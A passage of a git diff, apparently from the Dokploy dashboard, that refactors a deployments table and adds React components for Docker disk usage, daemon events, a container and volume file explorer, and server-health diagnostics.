+ Backups Add backups to your database to save the data to a different provider. diff --git a/apps/dokploy/components/dashboard/deployments/show-deployments-table.tsx b/apps/dokploy/components/dashboard/deployments/show-deployments-table.tsx index 770d4efd0..ad860745a 100644 --- a/apps/dokploy/components/dashboard/deployments/show-deployments-table.tsx +++ b/apps/dokploy/components/dashboard/deployments/show-deployments-table.tsx @@ -1,10 +1,8 @@ "use client"; import { - type ColumnFiltersState, flexRender, getCoreRowModel, - getFilteredRowModel, getPaginationRowModel, getSortedRowModel, type PaginationState, @@ -14,10 +12,11 @@ import { import type { inferRouterOutputs } from "@trpc/server"; import { ArrowUpDown, - Boxes, ChevronLeft, ChevronRight, + CircuitBoard, ExternalLink, + GlobeIcon, Loader2, Rocket, Server, @@ -26,7 +25,6 @@ import Link from "next/link"; import { useMemo, useState } from "react"; import { Badge } from "@/components/ui/badge"; import { Button } from "@/components/ui/button"; -import { Input } from "@/components/ui/input"; import { Select, SelectContent, @@ -71,37 +69,46 @@ function getServiceInfo(d: DeploymentRow) { return { type: "Application" as const, name: app.name, + icon: app.icon, projectId: app.environment.project.projectId, environmentId: app.environment.environmentId, projectName: app.environment.project.name, environmentName: app.environment.name, serviceId: app.applicationId, - href: `/dashboard/project/${app.environment.project.projectId}/environment/${app.environment.environmentId}/services/application/${app.applicationId}`, + href: `/dashboard/project/${app.environment.project.projectId}/environment/${app.environment.environmentId}/services/application/${app.applicationId}?tab=deployments`, }; } if (comp?.environment?.project && comp.environment) { return { type: "Compose" as const, name: comp.name, + icon: comp.icon, projectId: comp.environment.project.projectId, environmentId: comp.environment.environmentId, projectName: comp.environment.project.name, environmentName: comp.environment.name, serviceId: comp.composeId, - href: `/dashboard/project/${comp.environment.project.projectId}/environment/${comp.environment.environmentId}/services/compose/${comp.composeId}`, + href: `/dashboard/project/${comp.environment.project.projectId}/environment/${comp.environment.environmentId}/services/compose/${comp.composeId}?tab=deployments`, }; } return null; } -export function ShowDeploymentsTable() { +interface ShowDeploymentsTableProps { + globalFilter: string; + statusFilter: string; + typeFilter: string; +} + +export function ShowDeploymentsTable({ + globalFilter, + statusFilter, + typeFilter, +}: ShowDeploymentsTableProps) { const [sorting, setSorting] = useState([ { id: "createdAt", desc: true }, ]); - const [columnFilters, setColumnFilters] = useState([]); - const [globalFilter, setGlobalFilter] = useState(""); - const [statusFilter, setStatusFilter] = useState("all"); - const [typeFilter, setTypeFilter] = useState("all"); + const [pagination, setPagination] = useState({ pageIndex: 0, pageSize: 50, @@ -175,10 +182,16 @@ export function ShowDeploymentsTable() { if (!info) return —; return (
- {info.type === "Application" ? ( - + {info.icon ? ( + {info.name} + ) : info.type === "Application" ? ( + ) : ( - + )}
{info.name} @@ -437,177 +450,140 @@ export function ShowDeploymentsTable() { columns, state: { sorting, - columnFilters, - globalFilter, pagination, }, onSortingChange: setSorting, - onColumnFiltersChange: setColumnFilters, - onGlobalFilterChange: setGlobalFilter, onPaginationChange: setPagination, getCoreRowModel: getCoreRowModel(), getSortedRowModel: getSortedRowModel(), - getFilteredRowModel: getFilteredRowModel(), getPaginationRowModel: getPaginationRowModel(), }); return ( -
-
- setGlobalFilter(e.target.value)} - className="max-w-xs" - /> - - -
-
- {isLoading ? ( -
- - Loading deployments... -
- ) : ( - <> -
- - - {table.getHeaderGroups().map((headerGroup) => ( - - {headerGroup.headers.map((header) => ( - - {header.isPlaceholder - ? null - : flexRender( - header.column.columnDef.header, - header.getContext(), - )} - +
+ {isLoading ? ( +
+ + Loading deployments... +
+ ) : ( + <> +
+
+ + {table.getHeaderGroups().map((headerGroup) => ( + + {headerGroup.headers.map((header) => ( + + {header.isPlaceholder + ? null + : flexRender( + header.column.columnDef.header, + header.getContext(), + )} + + ))} + + ))} + + + {table.getRowModel().rows?.length ? ( + table.getRowModel().rows.map((row) => ( + + {row.getVisibleCells().map((cell) => ( + + {flexRender( + cell.column.columnDef.cell, + cell.getContext(), + )} + ))} + )) + ) : ( + + +
+ +

No deployments found

+

+ Deployments from applications and compose will appear + here. +

+
+
+
+ )} +
+
+
+
+
+ + Rows per page + + + + Showing{" "} + {filteredData.length === 0 + ? 0 + : pagination.pageIndex * pagination.pageSize + 1}{" "} + to{" "} + {Math.min( + (pagination.pageIndex + 1) * pagination.pageSize, + filteredData.length, + )}{" "} + of {filteredData.length} entries +
-
-
- - Rows per page - - - - Showing{" "} - {filteredData.length === 0 - ? 0 - : pagination.pageIndex * pagination.pageSize + 1}{" "} - to{" "} - {Math.min( - (pagination.pageIndex + 1) * pagination.pageSize, - filteredData.length, - )}{" "} - of {filteredData.length} entries - -
-
- - -
+
+ +
- - )} -
+
+ + )}
); } diff --git a/apps/dokploy/components/dashboard/docker/disk-usage/show-disk-usage.tsx b/apps/dokploy/components/dashboard/docker/disk-usage/show-disk-usage.tsx new file mode 100644 index 000000000..0ce4f21ea --- /dev/null +++ b/apps/dokploy/components/dashboard/docker/disk-usage/show-disk-usage.tsx @@ -0,0 +1,428 @@ +"use client"; + +import { + type ColumnDef, + flexRender, + getCoreRowModel, + getPaginationRowModel, + getSortedRowModel, + type PaginationState, + type SortingState, + useReactTable, +} from "@tanstack/react-table"; +import type { inferRouterOutputs } from "@trpc/server"; +import { + ArrowUpDown, + Boxes, + Database, + Gauge, + HardDrive, + Layers, + Loader2, + type LucideIcon, + Trash2, +} from "lucide-react"; +import { useMemo, useState } from "react"; +import { toast } from "sonner"; +import { DialogAction } from "@/components/shared/dialog-action"; +import { Badge } from "@/components/ui/badge"; +import { Button } from "@/components/ui/button"; +import { + Card, + CardContent, + CardDescription, + CardHeader, + CardTitle, +} from "@/components/ui/card"; +import { Input } from "@/components/ui/input"; +import { + Table, + TableBody, + TableCell, + TableHead, + TableHeader, + TableRow, +} from "@/components/ui/table"; +import type { AppRouter } from "@/server/api/root"; +import { api } from "@/utils/api"; + +type DiskUsageItem = + inferRouterOutputs["dockerDiskUsage"]["getDiskUsage"][number]; +type BuildCacheBase = + inferRouterOutputs["dockerDiskUsage"]["getBuildCache"][number]; +type BuildCacheRow = BuildCacheBase & { key: string }; + +interface Props { + serverId?: string; +} + +const STAT_CARDS: { type: string; title: string; icon: LucideIcon }[] = [ + { type: "Images", title: "Images", icon: Layers }, + { type: "Containers", title: "Containers", icon: Boxes }, + { type: "Local Volumes", title: "Volumes", icon: HardDrive }, + { type: "Build Cache", title: "Build Cache", icon: Database }, +]; + +const SortableHeader = ({ + column, + title, +}: { + column: { + getIsSorted: () => false | "asc" | "desc"; + toggleSorting: (asc: boolean) => void; + }; + title: string; +}) => ( + +); + +const StatCard = ({ + icon: Icon, + title, + item, + isLoading, +}: { + icon: LucideIcon; + title: string; + item?: DiskUsageItem; + isLoading: boolean; +}) => ( + +
+ + {title} +
+ {isLoading ? ( +
+ +
+ ) : ( + <> +
{item?.size ?? "-"}
+
+ {item?.totalCount ?? 0} total + {item?.active ?? 0} active + {item?.reclaimable ?? "-"} reclaimable +
+ + )} +
+); + +export const ShowDiskUsage = ({ serverId }: Props) => { + const utils = api.useUtils(); + const [sorting, setSorting] = useState([ + { id: "Size", desc: true }, + ]); + const [globalFilter, setGlobalFilter] = useState(""); + const [pagination, setPagination] = useState({ + pageIndex: 0, + pageSize: 10, + }); + + const { data: diskUsage, isLoading: isLoadingDiskUsage } = + api.dockerDiskUsage.getDiskUsage.useQuery({ serverId }); + const { data: buildCache, isLoading: isLoadingBuildCache } = + api.dockerDiskUsage.getBuildCache.useQuery({ serverId }); + const { mutateAsync: pruneBuildCache, isPending: isPruning } = + api.dockerDiskUsage.pruneBuildCache.useMutation(); + + const usageByType = useMemo( + () => new Map((diskUsage ?? []).map((item) => [item.type, item])), + [diskUsage], + ); + + const rows = useMemo( + () => + (buildCache ?? []).map((entry) => ({ + ...entry, + key: entry.id, + })), + [buildCache], + ); + + const filteredData = useMemo(() => { + if (!globalFilter.trim()) { + return rows; + } + const query = globalFilter.toLowerCase(); + return rows.filter( + (entry) => + entry.id.toLowerCase().includes(query) || + entry.description.toLowerCase().includes(query) || + entry.type.toLowerCase().includes(query), + ); + }, [rows, globalFilter]); + + const handlePrune = async () => { + try { + await pruneBuildCache({ serverId }); + toast.success("Build cache pruned"); + await Promise.all([ + utils.dockerDiskUsage.getBuildCache.invalidate(), + utils.dockerDiskUsage.getDiskUsage.invalidate(), + ]); + } catch (error) { + toast.error("Error pruning build cache", { + description: error instanceof Error ? error.message : "Unknown error", + }); + } + }; + + const columns = useMemo[]>( + () => [ + { + accessorKey: "id", + header: ({ column }) => ( + + ), + cell: ({ row }) => ( + + {row.original.id.slice(0, 16)} + + ), + }, + { + accessorKey: "type", + header: ({ column }) => , + cell: ({ row }) => {row.original.type}, + }, + { + accessorKey: "description", + header: "Description", + enableSorting: false, + cell: ({ row }) => ( +
+ {row.original.description || "-"} +
+ ), + }, + { + id: "Size", + accessorFn: (entry) => entry.sizeBytes, + header: ({ column }) => , + cell: ({ row }) => ( + {row.original.size} + ), + }, + { + id: "created", + accessorKey: "createdSince", + header: "Created", + enableSorting: false, + cell: ({ row }) => ( + + {row.original.createdSince} + + ), + }, + { + id: "lastUsed", + accessorKey: "lastUsedSince", + header: "Last Used", + enableSorting: false, + cell: ({ row }) => ( + + {row.original.lastUsedSince} + + ), + }, + { + accessorKey: "usageCount", + header: ({ column }) => ( + + ), + cell: ({ row }) => ( + + {row.original.usageCount} + + ), + }, + { + id: "flags", + enableSorting: false, + header: "Flags", + cell: ({ row }) => ( +
+ {row.original.inUse && In use} + {row.original.shared && Shared} +
+ ), + }, + ], + [], + ); + + const table = useReactTable({ + data: filteredData, + columns, + getRowId: (row) => row.key, + state: { + sorting, + pagination, + }, + onSortingChange: setSorting, + onPaginationChange: setPagination, + getCoreRowModel: getCoreRowModel(), + getSortedRowModel: getSortedRowModel(), + getPaginationRowModel: getPaginationRowModel(), + }); + + return ( +
+
+ {STAT_CARDS.map((stat) => ( + + ))} +
+ +
+ +
+
+ + + Build Cache + + + Cache layers kept by the Docker builder on the selected + server. + +
+ + + +
+
+ + {isLoadingBuildCache ? ( +
+ Loading... + +
+ ) : !buildCache?.length ? ( +
+
+ +
+
+

No build cache found

+

+ Layers cached by "docker build" on this server will appear + here. +

+
+
+ ) : ( + <> +
+ setGlobalFilter(e.target.value)} + className="max-w-xs" + /> +
+
+ + + {table.getHeaderGroups().map((headerGroup) => ( + + {headerGroup.headers.map((header) => ( + + {header.isPlaceholder + ? null + : flexRender( + header.column.columnDef.header, + header.getContext(), + )} + + ))} + + ))} + + + {table.getRowModel().rows?.length ? ( + table.getRowModel().rows.map((row) => ( + + {row.getVisibleCells().map((cell) => ( + + {flexRender( + cell.column.columnDef.cell, + cell.getContext(), + )} + + ))} + + )) + ) : ( + + + No build cache entries match your filters. + + + )} + +
+
+ {table.getPageCount() > 1 && ( +
+ + Page {table.getState().pagination.pageIndex + 1} of{" "} + {table.getPageCount()} + +
+ + +
+
+ )} + + )} +
+
+
+
+ ); +}; diff --git a/apps/dokploy/components/dashboard/docker/events/show-docker-events.tsx b/apps/dokploy/components/dashboard/docker/events/show-docker-events.tsx new file mode 100644 index 000000000..8a6d76db8 --- /dev/null +++ b/apps/dokploy/components/dashboard/docker/events/show-docker-events.tsx @@ -0,0 +1,425 @@ +import { + type ColumnDef, + flexRender, + getCoreRowModel, + getPaginationRowModel, + getSortedRowModel, + type PaginationState, + type SortingState, + useReactTable, +} from "@tanstack/react-table"; +import { Activity, ArrowUpDown, Loader2, RefreshCw } from "lucide-react"; +import { useMemo, useState } from "react"; +import { Badge } from "@/components/ui/badge"; +import { Button } from "@/components/ui/button"; +import { + Card, + CardContent, + CardDescription, + CardHeader, + CardTitle, +} from "@/components/ui/card"; +import { Input } from "@/components/ui/input"; +import { + Select, + SelectContent, + SelectItem, + SelectTrigger, + SelectValue, +} from "@/components/ui/select"; +import { + Table, + TableBody, + TableCell, + TableHead, + TableHeader, + TableRow, +} from "@/components/ui/table"; +import { api, type RouterOutputs } from "@/utils/api"; + +interface Props { + serverId?: string; +} + +type DockerEvent = RouterOutputs["docker"]["getEvents"]["events"][number]; +type EventRow = DockerEvent & { key: string }; + +const RANGE_OPTIONS = [ + { label: "Last 5 minutes", value: 5 }, + { label: "Last 15 minutes", value: 15 }, + { label: "Last hour", value: 60 }, + { label: "Last 6 hours", value: 360 }, + { label: "Last 24 hours", value: 1440 }, +]; + +type BadgeVariant = "blue" | "green" | "yellow" | "orange" | "red" | "blank"; + +const TYPE_VARIANTS: Record = { + container: "blue", + image: "green", + volume: "yellow", + network: "orange", + service: "blue", + node: "orange", +}; + +const ACTION_VARIANTS: Record = { + create: "green", + start: "green", + pull: "green", + connect: "green", + die: "red", + destroy: "red", + kill: "red", + stop: "red", + remove: "red", + disconnect: "red", + pause: "yellow", + unpause: "yellow", +}; + +const getTypeVariant = (type?: string): BadgeVariant => + (type && TYPE_VARIANTS[type]) || "blank"; + +const getActionVariant = (action?: string): BadgeVariant => + (action && ACTION_VARIANTS[action]) || "blank"; + +const getResource = (event: DockerEvent) => + event.Actor?.Attributes?.name ?? event.Actor?.ID ?? "-"; + +const getAttributesText = (event: DockerEvent) => { + const attributes = Object.entries(event.Actor?.Attributes ?? {}).filter( + ([key]) => key !== "name", + ); + return attributes.map(([key, value]) => `${key}=${value}`).join(" ") || "-"; +}; + +const SortableHeader = ({ + column, + title, +}: { + column: { + getIsSorted: () => false | "asc" | "desc"; + toggleSorting: (asc: boolean) => void; + }; + title: string; +}) => ( + +); + +export const ShowDockerEvents = ({ serverId }: Props) => { + const [minutes, setMinutes] = useState(15); + const [search, setSearch] = useState(""); + const [sorting, setSorting] = useState([ + { id: "time", desc: true }, + ]); + const [pagination, setPagination] = useState({ + pageIndex: 0, + pageSize: 15, + }); + + const { data, isLoading, isRefetching, refetch, error } = + api.docker.getEvents.useQuery({ + serverId, + minutes, + }); + + const events = useMemo( + () => + (data?.events ?? []).map((event, index) => ({ + ...event, + key: `${event.time}-${event.Action}-${index}`, + })), + [data], + ); + + const filteredEvents = useMemo(() => { + if (!search.trim()) return events; + const query = search.toLowerCase(); + return events.filter((event) => { + return ( + event.Type?.toLowerCase().includes(query) || + event.Action?.toLowerCase().includes(query) || + event.Actor?.Attributes?.name?.toLowerCase().includes(query) || + event.Actor?.ID?.toLowerCase().includes(query) + ); + }); + }, [events, search]); + + const columns = useMemo[]>( + () => [ + { + id: "time", + accessorFn: (event) => event.time ?? 0, + header: ({ column }) => , + cell: ({ row }) => ( + + {row.original.time + ? new Date(row.original.time * 1000).toLocaleTimeString() + : "-"} + + ), + }, + { + id: "type", + accessorFn: (event) => event.Type ?? "", + header: ({ column }) => , + cell: ({ row }) => ( + + {row.original.Type ?? "unknown"} + + ), + }, + { + id: "action", + accessorFn: (event) => event.Action ?? "", + header: ({ column }) => ( + + ), + cell: ({ row }) => ( + + {row.original.Action ?? "-"} + + ), + }, + { + id: "resource", + accessorFn: (event) => getResource(event), + header: ({ column }) => ( + + ), + cell: ({ row }) => { + const resource = getResource(row.original); + return ( +
+ {resource} +
+ ); + }, + }, + { + id: "attributes", + accessorFn: (event) => getAttributesText(event), + header: "Attributes", + enableSorting: false, + cell: ({ row }) => { + const attributesText = getAttributesText(row.original); + return ( +
+ {attributesText} +
+ ); + }, + }, + ], + [], + ); + + const table = useReactTable({ + data: filteredEvents, + columns, + getRowId: (row) => row.key, + state: { + sorting, + pagination, + }, + onSortingChange: setSorting, + onPaginationChange: setPagination, + getCoreRowModel: getCoreRowModel(), + getSortedRowModel: getSortedRowModel(), + getPaginationRowModel: getPaginationRowModel(), + }); + + return ( +
+ +
+ +
+
+ + + Docker Events + + + Events reported by the Docker daemon, equivalent to running + "docker events". + +
+ +
+
+ + {error && ( +

{error.message}

+ )} +
+ { + setSearch(e.target.value); + setPagination((prev) => ({ ...prev, pageIndex: 0 })); + }} + className="max-w-xs" + /> + +
+
+ + + {table.getHeaderGroups().map((headerGroup) => ( + + {headerGroup.headers.map((header) => ( + + {header.isPlaceholder + ? null + : flexRender( + header.column.columnDef.header, + header.getContext(), + )} + + ))} + + ))} + + + {isLoading ? ( + + +
+ Loading events... + +
+
+
+ ) : table.getRowModel().rows?.length ? ( + table.getRowModel().rows.map((row) => ( + + {row.getVisibleCells().map((cell) => ( + + {flexRender( + cell.column.columnDef.cell, + cell.getContext(), + )} + + ))} + + )) + ) : ( + + + No events found in the selected time range. + + + )} +
+
+
+ {table.getPageCount() > 1 && ( +
+ + Page {table.getState().pagination.pageIndex + 1} of{" "} + {table.getPageCount()} + +
+ Go to + { + if (e.key !== "Enter") return; + const value = Number( + (e.target as HTMLInputElement).value, + ); + if (!Number.isFinite(value)) return; + const page = Math.min( + Math.max(value, 1), + table.getPageCount(), + ); + table.setPageIndex(page - 1); + }} + onBlur={(e) => { + const value = Number(e.target.value); + if (!Number.isFinite(value)) return; + const page = Math.min( + Math.max(value, 1), + table.getPageCount(), + ); + table.setPageIndex(page - 1); + }} + className="w-16 h-8" + /> +
+
+ + +
+
+ )} +
+
+
+
+ ); +}; diff --git a/apps/dokploy/components/dashboard/docker/files/files-explorer-modal.tsx b/apps/dokploy/components/dashboard/docker/files/files-explorer-modal.tsx new file mode 100644 index 000000000..6bf843da6 --- /dev/null +++ b/apps/dokploy/components/dashboard/docker/files/files-explorer-modal.tsx @@ -0,0 +1,401 @@ +import { + ChevronRight, + Download, + File, + Folder, + FolderOpen, + Loader2, + RefreshCw, + Trash2, +} from "lucide-react"; +import { useEffect, useMemo, useState } from "react"; +import { toast } from "sonner"; +import { AlertBlock } from "@/components/shared/alert-block"; +import { CodeEditor } from "@/components/shared/code-editor"; +import { DialogAction } from "@/components/shared/dialog-action"; +import { Button } from "@/components/ui/button"; +import { + Dialog, + DialogContent, + DialogDescription, + DialogHeader, + DialogTitle, + DialogTrigger, +} from "@/components/ui/dialog"; +import { DropdownMenuItem } from "@/components/ui/dropdown-menu"; +import { api } from "@/utils/api"; + +type Props = { + serverId?: string; + children?: React.ReactNode; + asDropdownItem?: boolean; +} & ( + | { containerId: string; volumeName?: undefined } + | { volumeName: string; containerId?: undefined } +); + +const joinPath = (base: string, name: string) => + base === "/" ? `/${name}` : `${base}/${name}`; + +const decodeBase64 = (base64: string) => { + const binary = atob(base64); + const bytes = new Uint8Array(binary.length); + for (let i = 0; i < binary.length; i++) { + bytes[i] = binary.charCodeAt(i); + } + return bytes; +}; + +export const FilesExplorerModal = ({ + containerId, + volumeName, + serverId, + children, + asDropdownItem = true, +}: Props) => { + const [open, setOpen] = useState(false); + const [path, setPath] = useState("/"); + const [selectedFile, setSelectedFile] = useState(null); + const [editorContent, setEditorContent] = useState(""); + + const isVolume = !!volumeName; + const utils = api.useUtils(); + + const containerEntries = api.docker.listContainerFiles.useQuery( + { containerId: containerId ?? "", path, serverId }, + { enabled: open && !isVolume, retry: false }, + ); + const volumeEntries = api.dockerVolume.listVolumeFiles.useQuery( + { volumeName: volumeName ?? "", path, serverId }, + { enabled: open && isVolume, retry: false }, + ); + const { + data: entries, + isLoading: isLoadingEntries, + error: entriesError, + refetch: refetchEntries, + isRefetching, + } = isVolume ? volumeEntries : containerEntries; + + const containerFile = api.docker.readContainerFile.useQuery( + { containerId: containerId ?? "", path: selectedFile ?? "/", serverId }, + { enabled: open && !isVolume && !!selectedFile, retry: false }, + ); + const volumeFile = api.dockerVolume.readVolumeFile.useQuery( + { volumeName: volumeName ?? "", path: selectedFile ?? "/", serverId }, + { enabled: open && isVolume && !!selectedFile, retry: false }, + ); + const { + data: file, + isLoading: isLoadingFile, + error: fileError, + refetch: refetchFile, + } = isVolume ? volumeFile : containerFile; + + const fileBytes = useMemo( + () => (file ? decodeBase64(file.content) : null), + [file], + ); + const isBinary = useMemo( + () => !!fileBytes?.some((byte) => byte === 0), + [fileBytes], + ); + + useEffect(() => { + if (fileBytes && !isBinary) { + setEditorContent(new TextDecoder().decode(fileBytes)); + } + }, [fileBytes, isBinary]); + + const writeContainerFile = api.docker.writeContainerFile.useMutation(); + const writeVolumeFile = api.dockerVolume.writeVolumeFile.useMutation(); + const deleteContainerFile = api.docker.deleteContainerFile.useMutation(); + const deleteVolumeFile = api.dockerVolume.deleteVolumeFile.useMutation(); + + const isSaving = writeContainerFile.isPending || writeVolumeFile.isPending; + const isDeleting = + deleteContainerFile.isPending || deleteVolumeFile.isPending; + + const saveFile = async () => { + if (!selectedFile) return; + try { + if (isVolume) { + await writeVolumeFile.mutateAsync({ + volumeName, + path: selectedFile, + content: editorContent, + serverId, + }); + } else { + await writeContainerFile.mutateAsync({ + containerId: containerId ?? "", + path: selectedFile, + content: editorContent, + serverId, + }); + } + toast.success("File saved"); + refetchFile(); + } catch (error) { + toast.error( + error instanceof Error ? error.message : "Failed to save file", + ); + } + }; + + const deleteEntry = async (entryPath: string) => { + try { + if (isVolume) { + await deleteVolumeFile.mutateAsync({ + volumeName, + path: entryPath, + serverId, + }); + await utils.dockerVolume.listVolumeFiles.invalidate(); + } else { + await deleteContainerFile.mutateAsync({ + containerId: containerId ?? "", + path: entryPath, + serverId, + }); + await utils.docker.listContainerFiles.invalidate(); + } + toast.success("Deleted"); + if (selectedFile === entryPath) { + setSelectedFile(null); + } + } catch (error) { + toast.error(error instanceof Error ? error.message : "Failed to delete"); + } + }; + + const breadcrumbs = path.split("/").filter(Boolean); + + const navigate = (nextPath: string) => { + setPath(nextPath); + setSelectedFile(null); + }; + + const handleOpenChange = (value: boolean) => { + setOpen(value); + if (!value) { + setPath("/"); + setSelectedFile(null); + setEditorContent(""); + } + }; + + const downloadFile = () => { + if (!fileBytes || !selectedFile) return; + const blob = new Blob([fileBytes]); + const url = URL.createObjectURL(blob); + const anchor = document.createElement("a"); + anchor.href = url; + anchor.download = selectedFile.split("/").pop() ?? "file"; + anchor.click(); + URL.revokeObjectURL(url); + }; + + return ( + + + {asDropdownItem ? ( + e.preventDefault()} + > + {children} + + ) : ( + children + )} + + + + + + {isVolume ? "Volume Files" : "Container Files"} + + + {isVolume + ? `Browse and edit files inside the "${volumeName}" volume` + : "Browse and edit files inside the container's filesystem"} + + + +
+ + {breadcrumbs.map((segment, index) => ( + + + {index < breadcrumbs.length - 1 && ( + + )} + + ))} + +
+ +
+
+ {isLoadingEntries ? ( +
+ Loading... + +
+ ) : entriesError ? ( +
+ {entriesError.message} +
+ ) : ( +
+ {path !== "/" && ( + + )} + {entries?.length === 0 && ( + + Empty directory + + )} + {entries?.map((entry) => { + const entryPath = joinPath(path, entry.name); + return ( +
+ + deleteEntry(entryPath)} + > + + +
+ ); + })} +
+ )} +
+ +
+ {!selectedFile ? ( +
+ Select a file to view or edit it +
+ ) : isLoadingFile ? ( +
+ Loading... + +
+ ) : fileError ? ( + {fileError.message} + ) : ( + <> +
+ + {selectedFile} + +
+ + +
+
+ {file?.truncated ? ( + + This file is larger than 512KB. Showing a truncated preview; + editing is disabled. Use Download to get the truncated + content or the terminal for full access. + + ) : isBinary ? ( +
+ Binary file — use Download instead +
+ ) : ( +
+ setEditorContent(value)} + wrapperClassName="h-full font-mono" + /> +
+ )} + + )} +
+
+
+
+ ); +}; diff --git a/apps/dokploy/components/dashboard/docker/health/show-health.tsx b/apps/dokploy/components/dashboard/docker/health/show-health.tsx new file mode 100644 index 000000000..003b21c7f --- /dev/null +++ b/apps/dokploy/components/dashboard/docker/health/show-health.tsx @@ -0,0 +1,454 @@ +import { + AlertTriangle, + Cpu, + Download, + HardDrive, + Loader2, + Network, + RefreshCw, + Server as ServerIcon, +} from "lucide-react"; +import { useState } from "react"; +import { CodeEditor } from "@/components/shared/code-editor"; +import { Badge } from "@/components/ui/badge"; +import { Button } from "@/components/ui/button"; +import { Card } from "@/components/ui/card"; +import { Progress } from "@/components/ui/progress"; +import { + Select, + SelectContent, + SelectItem, + SelectTrigger, + SelectValue, +} from "@/components/ui/select"; +import { + Table, + TableBody, + TableCell, + TableHead, + TableHeader, + TableRow, +} from "@/components/ui/table"; +import { api } from "@/utils/api"; + +interface Props { + serverId?: string; +} + +const bytesToGb = (bytes: number) => (bytes / 1024 ** 3).toFixed(1); +const nanoCpusToCores = (nanoCpus: number) => (nanoCpus / 1e9).toFixed(2); +const pct = (used: number, total: number) => + Math.min(100, Math.round((used / (total || 1)) * 100)); + +const SINCE_HOURS_OPTIONS = [ + { label: "Last hour", value: 1 }, + { label: "Last 6 hours", value: 6 }, + { label: "Last 24 hours", value: 24 }, + { label: "Last 7 days", value: 168 }, +]; + +export const ShowHealth = ({ serverId }: Props) => { + const [sinceHours, setSinceHours] = useState(24); + const { + data: health, + isFetching, + refetch, + isFetched, + } = api.docker.getServerHealth.useQuery( + { serverId, sinceHours }, + { refetchOnMount: false, refetchOnWindowFocus: false }, + ); + + const memUsedPct = health + ? pct(health.resources.memUsedBytes, health.resources.memTotalBytes) + : 0; + const diskUsedPct = health + ? pct(health.disk.usedBytes, health.disk.totalBytes) + : 0; + const inotifyUsedPct = health + ? pct(health.inotify.currentInstances, health.inotify.maxInstances) + : 0; + + const daemonLogsWindowText = health?.daemonLogsWindow + ? `Logs from ${new Date(health.daemonLogsWindow.fromEpoch * 1000).toLocaleString()} to ${new Date(health.daemonLogsWindow.toEpoch * 1000).toLocaleString()}` + : null; + const daemonErrorsText = [ + daemonLogsWindowText, + health && health.daemonErrors.length > 0 + ? health.daemonErrors.join("\n") + : "(no daemon errors matched in this window)", + ] + .filter(Boolean) + .join("\n\n"); + + const buildHealthReport = () => { + if (!health) return ""; + const lines: string[] = []; + lines.push("# Dokploy server health report"); + lines.push(`Generated: ${new Date(health.checkedAt).toLocaleString()}`); + lines.push( + `Window: ${SINCE_HOURS_OPTIONS.find((o) => o.value === sinceHours)?.label ?? `${sinceHours}h`}`, + ); + lines.push(""); + + lines.push("## Containers & services"); + lines.push(`Containers: ${health.containers.containerCount}`); + lines.push(`Swarm services: ${health.containers.serviceCount}`); + lines.push(""); + + lines.push("## Host resources"); + lines.push( + `Memory: ${bytesToGb(health.resources.memUsedBytes)} / ${bytesToGb(health.resources.memTotalBytes)} GB`, + ); + lines.push(`CPU cores: ${health.resources.cpuCount}`); + lines.push(""); + + lines.push("## Disk (/)"); + lines.push( + `${bytesToGb(health.disk.usedBytes)} / ${bytesToGb(health.disk.totalBytes)} GB`, + ); + lines.push(""); + + lines.push("## Inotify"); + lines.push( + `max_user_instances: ${health.inotify.currentInstances} / ${health.inotify.maxInstances}`, + ); + lines.push(`max_user_watches: ${health.inotify.maxWatches}`); + lines.push(`max_queued_events: ${health.inotify.maxQueuedEvents}`); + lines.push( + `Persisted in sysctl: ${health.inotify.persisted ? "yes" : "no"}`, + ); + lines.push(""); + + lines.push("## Docker networks"); + lines.push(`Total networks: ${health.dockerNetworks.count}`); + if (health.dockerNetworks.addressPools) { + lines.push( + `default-address-pools: ${JSON.stringify(health.dockerNetworks.addressPools)}`, + ); + } + if (health.dockerNetworks.usageError) { + lines.push( + `Could not read network IP usage: ${health.dockerNetworks.usageError}`, + ); + } else if (health.dockerNetworks.usage.length > 0) { + lines.push(""); + lines.push( + "| Network | Driver | Subnet | IPs in use | Capacity | Usage |", + ); + lines.push("|---|---|---|---|---|---|"); + for (const n of health.dockerNetworks.usage) { + lines.push( + `| ${n.name} | ${n.driver} | ${n.subnet ?? "auto"} | ${n.containersInUse} | ${n.capacity ?? "—"} | ${n.percentUsed ?? "—"}% |`, + ); + } + } + lines.push(""); + + if (health.reservation) { + lines.push("## Memory/CPU reservation"); + lines.push( + `Reserved memory: ${bytesToGb(health.reservation.memoryReservedBytes)} GB`, + ); + lines.push( + `Reserved CPU: ${nanoCpusToCores(health.reservation.cpuReservedNanoCpus)} cores`, + ); + lines.push(`Across ${health.reservation.appCount} Application services`); + if (health.reservation.unsupportedComposeCount > 0) { + lines.push( + `${health.reservation.unsupportedComposeCount} Compose service(s) not included (not tracked per-service)`, + ); + } + lines.push(""); + } + + lines.push("## Docker daemon errors (raw)"); + lines.push("```"); + lines.push(daemonErrorsText); + lines.push("```"); + + return lines.join("\n"); + }; + + const handleDownload = () => { + const report = buildHealthReport(); + if (!report) return; + const blob = new Blob([report], { type: "text/markdown" }); + const url = URL.createObjectURL(blob); + const a = document.createElement("a"); + a.href = url; + a.download = `dokploy-health-report-${new Date().toISOString().replace(/[:.]/g, "-")}.md`; + a.click(); + URL.revokeObjectURL(url); + }; + + return ( +
+ +
+
+
+

Server diagnostics

+

+ Runs a read-only check over SSH (inotify limits, disk, Docker + network pool, daemon errors). Runs automatically when you open + this tab — click Re-check to refresh. +

+
+
+ + + {health && !health.error && ( + + )} +
+
+ + {isFetching && !health && ( +
+ + Checking server health… +
+ )} + + {health?.error && ( +
+ Couldn't read server health: {health.error} +
+ )} + + {health && !health.error && ( +
+ +
+ + Containers & services +
+
+ {health.containers.containerCount} +
+
+ containers · {health.containers.serviceCount} swarm services +
+
+ + +
+ + Host resources +
+
+ Memory: {bytesToGb(health.resources.memUsedBytes)} /{" "} + {bytesToGb(health.resources.memTotalBytes)} GB +
+ +
+ {health.resources.cpuCount} CPU cores +
+
+ + +
+ + Disk (/) +
+
+ {bytesToGb(health.disk.usedBytes)} /{" "} + {bytesToGb(health.disk.totalBytes)} GB +
+ +
+ + +
+ + + Inotify + + + {health.inotify.persisted ? "persisted" : "runtime only"} + +
+
+ max_user_instances: {health.inotify.currentInstances} /{" "} + {health.inotify.maxInstances.toLocaleString()} ( + {inotifyUsedPct}%) +
+ +
+ max_user_watches: {health.inotify.maxWatches.toLocaleString()}{" "} + · max_queued_events:{" "} + {health.inotify.maxQueuedEvents.toLocaleString()} +
+
+ + +
+ + Docker networks +
+
+ {health.dockerNetworks.count} +
+
